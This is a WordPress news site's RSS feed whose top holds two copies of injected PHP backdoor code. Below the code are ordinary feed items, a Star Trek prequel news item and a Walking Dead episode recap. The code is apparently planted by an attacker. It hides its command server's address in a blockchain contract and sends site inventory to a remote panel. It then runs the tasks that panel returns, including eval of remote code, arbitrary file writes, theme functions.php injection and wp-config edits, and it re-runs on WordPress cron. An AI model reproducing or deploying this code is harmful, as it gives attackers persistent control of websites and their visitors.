// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Alpha – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 10 Sep 2022 04:41:53 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Alpha – Brief News https://briefnews.eu 32 32 Star Trek: Khan – Ceti Alpha V will be a prequel to The Wrath of Khan https://briefnews.eu/star-trek-khan-ceti-alpha-v-will-be-a-prequel-to-the-wrath-of-khan/ https://briefnews.eu/star-trek-khan-ceti-alpha-v-will-be-a-prequel-to-the-wrath-of-khan/#respond Sat, 10 Sep 2022 04:41:53 +0000 https://briefnews.eu/star-trek-khan-ceti-alpha-v-will-be-a-prequel-to-the-wrath-of-khan/
The crew of the <em>Enterprise</em> in <em>Star Trek II: The Wrath of Khan</em>.

Enlarge / The crew of the Enterprise in Star Trek II: The Wrath of Khan. (credit: Paramount)

Many people consider Star Trek II: The Wrath of Khan to be the finest Star Trek film ever made, and no small amount of credit goes to director Nicholas Meyer for that success. Now, Meyer has written a prequel to the movie that will stream in narrative podcast form.

Meyer directed Star Trek II: The Wrath of Khan and Star Trek VI: The Undiscovered Country and helped write the screenplays for both of those, as well as the Leonard Nimoy-directed Star Trek IV: The Voyage Home—in other words, all the best Trek movies, by most fans’ reckoning. The director brought influences from beloved, epic naval stories and series like Horatio Hornblower, Moby Dick, and Botany Bay—as well as Shakespeare—to give the franchise a whole new look, vibe, and set of themes. That narrative cocktail was a huge creative success.

It turns out that over the past several years, Meyer had worked on a potential TV miniseries or film project that would be a prequel to The Wrath of Khan, focusing on the time villain Khan and his superhuman crew spent stranded on the dying planet Ceti Alpha V between the original TV series episode “Space Seed”—which introduced the characters—and the film The Wrath of Khan, which ended their story.

Read 3 remaining paragraphs | Comments

]]> https://briefnews.eu/star-trek-khan-ceti-alpha-v-will-be-a-prequel-to-the-wrath-of-khan/feed/ 0 The Walking Dead Recap: Head Games — Plus, All Hail the New Alpha https://briefnews.eu/the-walking-dead-recap-head-games-plus-all-hail-the-new-alpha/ https://briefnews.eu/the-walking-dead-recap-head-games-plus-all-hail-the-new-alpha/#respond Mon, 30 Mar 2020 13:42:00 +0000 https://briefnews.eu/the-walking-dead-recap-head-games-plus-all-hail-the-new-alpha/ Gone but not forgotten, The Walking Dead’s Alpha once again reared her ugly head in Sunday’s episode, in so doing changing the course of Carol’s future, Beta’s… in a way, everybody’s. Read on, and I’ll explain how.

the-walking-dead-recap-season-10-episode-14-look-at-the-flowers‘WALK ME THROUGH THOSE GATES SO I CAN OPEN UP A NEW CHAPTER IN THE BOOK OF NEGAN’ | As the ominously-titled “Look at the Flowers” began, we flashed back to Carol making a deal with Negan: If he brought her the head of her son’s killer, and fast, she’d make sure that he was forgiven for the accidental death of Lydia’s attacker back in Episode 4. In the present, though as we well know he’d produced the chopped-off block that Carol had requested, she was dissatisfied with the speed with which he had accomplished his task. He’d had to earn the villainess’ trust, he argued. “That s— takes time.” Well, he could do what he wanted as far as Carol was concerned, but she wasn’t going to help his rebranding efforts in Alexandria. Not just then, anyway. “I need to be alone,” she said, “and s— like that takes time.” (Oh, Carol, it takes a lot to make me empathize more with Negan than you, but you’re doing it, lady. You are doing it.)

the-walking-dead-recap-season-10-episode-14-look-at-the-flowersShortly thereafter, Beta and two Whisperers discovered Alpha’s head in Carol’s trophy case on a pike. “You,” gasped a Whisperer to whom we will give the super creative name Whisperer No. 1. “You are the Alpha now.” Oo, Beta did not like that. Mm-mm. No, he had the fellow remove his mask, then forced him to get close enough to Alpha’s reanimated noggin for her to bite his ear off. “Can you hear her?” asked Beta while Whisperer No. 2 took a sudden interest in cross-country running. (How Mr. B refrained from making a “Can ya hear her now?” joke, I’ll never understand.) Anyway, Beta packed up Alpha’s head as carefully as one would their favorite baby doll and walked Whisperer No. 1 into a small town, where he let walkers finish what the boss lady had begun. Beta then headed to what appeared to be his old stomping grounds: the back room of a bar, where there was a guitar, a poster for Half Moon — the legendary singer that he used to be — and a snippet of a lyric written on Grand Hotel stationery (“These 2 eyes see 1 truth”). Once he’d trashed the place — what, could there be a more rock-’n’-roll way to grieve? — he tore off part of his mask and cranked one of his albums to draw a crowd of guardians outside. The following morning, he thanked Alpha’s head for putting an idea in his, ended its argh’ing and began leading his new horde toward, presumably, Alexandria. Oh, and he’d fixed the rip in his mask… by adding a piece of Alpha’s face to it. (And they say romance is dead.)

the-walking-dead-recap-season-10-episode-14-look-at-the-flowers‘PLEASE TELL ME WE AREN’T REALLY ON A JOURNEY TO FIND CHOCOLATE BUNNIES’ | Meanwhile, at the safe house, Ezekiel beat himself up for failing the kids during the Hilltop fire. They were all fine, but it didn’t matter to him. “These days,” he sighed, “the mistakes seem to stick harder than the triumphs.” When Magna arrived, alive and well-ish, she and Jerry enjoyed a warm reunion; apparently, being trapped in a cave with a bunch of walkers really bonds virtual strangers. With Rosita’s encouragement, Eugene announced that he’d been in communication with someone outside their group — someone that he was scheduled to meet. Immediately, suspicious eyes turned toward him. How did they know this individual wasn’t a spy like Dante had been? Before things got heated, Ezekiel spoke up, throwing what was left of his kingly weight around to say that he trusted Eugene’s judgment. For his part, Eugene added that, after all that they’d just lost, if believing he might’ve made a new friend made him a fool, that was a role he was willing to play.

the-walking-dead-recap-season-10-episode-14-look-at-the-flowersSo, off the smitten smarty-pants prepared to go with Ezekiel and Yumiko (who clearly hadn’t, as I’d mistakenly thought, broken up with Magna). In an especially sweet scene, Jerry said goodbye to his “boss” as if all too aware that it might be the last time they saw each other. “The Kingdom needs you,” Ezekiel told his dear friend. “Make sure our legacy lives on.” Good advice, seeing as it didn’t seem like Ezekiel had much longer. On the road, he soon realized anew that he was hardly in fighting shape. And when his horse keeled over, it occurred to him: “He wasn’t strong enough to make the journey. Maybe I’m not, either.” (I’ll go ahead and say it for the horse: Ya couldn’t have thought of that before you rode me to death?!?) Rather than let Ezekiel turn back, Yumiko insisted that they were on their trip “to find out what’s possible, what none of us can predict… or imagine.” Hmm, like maybe proper medical care for Ezekiel? We can but hope. In the meantime, the group rode on and eventually entered a big metropolis. Everywhere they looked, it seemed like they found walkers, still moving but tied in place, positioned in tableaus that brought to mind life pre-apocalypse. What the actual… ? Did Eugene’s radio girlfriend have a particularly weird sense of humor? She’d struck me as more serious than that. In any case, the young boa-clad woman they eventually encountered was one kooky ball of energy — like Tank Girl on Red Bull. “Oh my God!” she exclaimed when she saw them. “Hi!” (Just look at the picture above; she’s gonna be a pip!)

the-walking-dead-recap-season-10-episode-14-look-at-the-flowers‘YOUR TRACK RECORD DOES NOT INSPIRE CONFIDENCE’ | On her walkabout, Carol was dogged every step of the way by visions of an Alpha who was far less crazy-lady and far more Mean Girls. She dropped the names of all those Carol had lost, as if reading from a White Pages of the deceased, and suggested that if our tortured heroine returned to Alexandria, she’d only lose more people — maybe even Daryl. And Carol was “not taking this head,” Alpha added, knocking on her noggin. “Unless you take your own.” (Apparently, the Alpha of Carol’s imagining was a lot like Negan for real: She never shut up!) On and on, Alpha prattled, about how she knew the truth, and so did Carol, something about a letter Carol had sent Maggie about her bald nemesis… Alpha was all over the place with it until finally Carol fell through the rotted floor of a shack from which she was trying to retrieve (I think that was) a boat. As a walker, as one always does, approached, Alpha beckoned it. “This way, friend!” she said, adding that Carol should “just look at the flowers like you’re supposed to.” (Told ya imaginary Alpha was mean.) Needless to say, Carol managed to free herself, kill the walker and return to Alexandria (with what I imagined had to be at least a dislocated shoulder). She is clearly going to live to be older than Betty White.

While all this was going on, Negan went to retrieve Lydia from the shack in which he’d stashed her. As you know, she wasn’t there. But Daryl was. Negan was quick to explain about the deal that he’d struck with Carol, but when he tried to prove he’d kept up his end of the bargain, of course, Alpha’s head was gone. After Daryl raised his crossbow to offer his performance review of Negan’s supposed handiwork — if he’d beheaded Alpha, he hadn’t done it fast enough — the men were caught off guard by a couple of Whisperers who, per Alpha’s own rules, regarded her killer as the new Alpha. (Swear to God the reversal of fortune brought Negan thisclose to laughing at Daryl like he was Nelson from The Simpsons.) Negan’s first order of business was to take away the only rifle in play; his second was to make Daryl kneel before the Alpha. “You should probably shoot me,” said Daryl. “Don’t threaten me with a good time,” Negan replied. And with that, he and Daryl took out the Whisperers. The following day, as the men gave up waiting for Carol to return (or return Alpha’s head to its pike), Negan admitted that he had liked being with the Whisperers. “It was nice feeling like I mattered again… but [Alpha] took it too far. You don’t kill people who don’t deserve it,” he said, “and you never kill kids.” (People who don’t deserve it? Uh, tell that to Denise, Glenn, Abraham, Olivia… Need I go on?) “Is that supposed to make me like you?” asked Daryl. “What about my winning personality?” Negan replied. Despite the flaw to Negan’s logic, this could be the beginning of a beautiful — straaange — friendship.

So, what did you think of the episode’s big Beta reveal? Eugene’s new friend? Daryl and Negan’s buddy comedy? Hit the comments.

Let’s block ads! (Why?)


https://pmctvline2.files.wordpress.com/2020/03/the-walking-dead-season-10-episode-14-melissa-mcbride-alpha-head.jpg

